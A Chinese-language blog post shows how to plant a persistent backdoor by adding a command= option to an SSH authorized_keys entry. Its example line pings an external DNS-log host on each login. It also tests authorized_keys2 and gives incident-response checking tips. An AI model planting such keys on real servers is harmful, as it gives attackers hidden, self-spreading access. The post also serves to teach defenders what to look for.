一个有趣的ssh后门 ｜ Linux 后门系列

0x00 简介

今天看见有安全研究员发了一篇 ssh 后门的文章，复现思考后分享给大家

https://blog.thc.org/infecting-ssh-public-keys-with-backdoors

0x01 ssh密钥登录

参考

https://www.commandlinux.com/man-page/man5/authorized_keys.5.html

运维人员管理 Linux 服务器时，对于一些较为固定的管理场景，经常把访问者的ssh公钥直接写入到被访问服务器的 ~/.ssh/authorized_keys 中并进行相应的配置，这样访问者可以使用固定的电脑无需输入密码就可以访问到服务器，在一定程度上安全和便利兼得，但是其实这里有一个不常用的参数非常适合用来做后门——command

通常运维人员通过 ssh-keygen -t rsa 生成公钥文件 ~/.ssh/id_rsa.pub ,格式如下

此时将这些字符拷贝进入服务器的 ~/.ssh/authorized_keys 中，再将 ssh key 登录的相关配置打开，就可以实现免密码登录了

0x02 制作后门

这里以 ping dnslog 为例,实际后门还要考虑不影响用户正常登录，也就是我们的后门要在后台执行，这没啥难的

按照 0x01 章节的参考文章，其实在这段 ssh key 字符串前可以配置一些参数，其中的 command 参数在用户使用该 key 登录的时候自动调用

修改 ~/.ssh/authorized_keys ，添加恶意命令

command="ping ssh-backdoor.g05vv6.dnslog.cn" ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC8sgy6ZmmvB5LvcSXx0WyAaDgbJTD+whVTN87iVTbFCIEq81Y0J3MOE+yHPmSEg4Jwv0AfDbPWS5QGfrWMn/NH5chOSqA82o6/M/OumeU2kO0MLP1ModQO/YblmEjQu2VjR03ojYpIu/8lKLq80qZwIbxP3px8/L3FUcksuGcBr95FN8drf0B7+zxyhaDGQvyVsHVBtbirHM0ORQvJ5PzRgSvU+fN9exMh82vibdrLRspN4Gy/s7oJfQh6zWxWZ8Xk4RZQ1MQgMqCZKDBvYToF/c4NP67J12gMcCJnoR3HBANITwrLHytCRcb2En6YfIj4wnCDWPOAapTWQZWJZ8FmzDEFcbjLwvUGccHHoe1SywdHXIGqPSdVjElcE4oBrYa+lH0NJjJG52s+z1hCpF8= join@ubuntu2004

无需重启 ssh 服务，直接在公钥所属的主机上使用 ssh 访问该服务器

dnslog 平台成功获取到访问记录

0x03 此后门的意义

这里我觉得文章作者说的很有道理，所以直接翻译过来

• 有趣

• 服务器重启后，后门依旧存在

• 横向传播

  运维人员可能会把这些配置文件到处拷贝，造成后门的横向传播

• 云部署通常会将管理员的公钥复制到新实例 - 现在它们也会将您的后门复制到内部。

至此，作者的介绍基本结束，作者在 github 上还建立了一个项目，可以在原文中找到，下面的部分是我比较好奇的一些问题以及答案

0x04 我的思考

1. 不止 ~/.ssh/authorized_keys

其实在 https://www.commandlinux.com/man-page/man5/authorized_keys.5.html 写得很清楚， openssh 默认会识别 ~/.ssh/authorized_keys 和 ~/.ssh/authorized_keys2

具体配置在 /etc/ssh/sshd_config 的 AuthorizedKeysFile 参数

可以看到，官方希望未来忽略 ~/.ssh/authorized_keys2

将服务器上的 ~/.ssh/authorized_keys 修改为 ~/.ssh/authorized_keys2 ，并修改 dnslog 地址

使用公钥登录该 ssh 服务器

因此，在对相关文件进行安全排查的时候，不要忘了 ~/.ssh/authorized_keys2

2. 如果两个文件都存在，是否同时有效

如果 ~/.ssh/authorized_keys 和 ~/.ssh/authorized_keys2 同时存在，是否都有效呢？

再来一台 Linux 主机，都是用 ssh-copy-id 程序将自己的公钥传到服务器上

默认情况下，两台访问者主机都可以通过 ssh-key 访问服务器

现在将两个 ssh key放在 ~/.ssh/authorized_keys 和 ~/.ssh/authorized_keys2 中各一个

再次测试两个访问者主机通过 ssh key 访问服务器

~/.ssh/authorized_keys 和 ~/.ssh/authorized_keys2 两个文件可以同时存在，均有效

3. 两个文件放置同一个key 会怎么样

~/.ssh/authorized_keys 放置默认的 ssh key； ~/.ssh/authorized_keys2 放置包含后门的 ssh key

使用 ssh key 登录服务器

并未触发后门

~/.ssh/authorized_keys 放置包含后门的 ssh key； ~/.ssh/authorized_keys2 放置默认的 ssh key

使用 ssh key 登录服务器

成功触发后门，所以如果两个文件放置同一个 ssh key，默认配置会先读取 ~/.ssh/authorized_keys

4. ssh 配置文件后门检查

之前的我写的一篇 ssh config 后门中介绍了 openssh 配置方面的后门，主要针对 ssh 客户端，openssh的客户端和服务器端，尤其是服务器，可配置的项非常多，各种情况都可以配置相应的的程序来处理，其实这些都可以作为后门，但是作为后门的时候必须保证原本该项配置应有的效果，所以做安全检查的时候应该更加全面一些,在后续的应急响应手册中会尽可能全面一些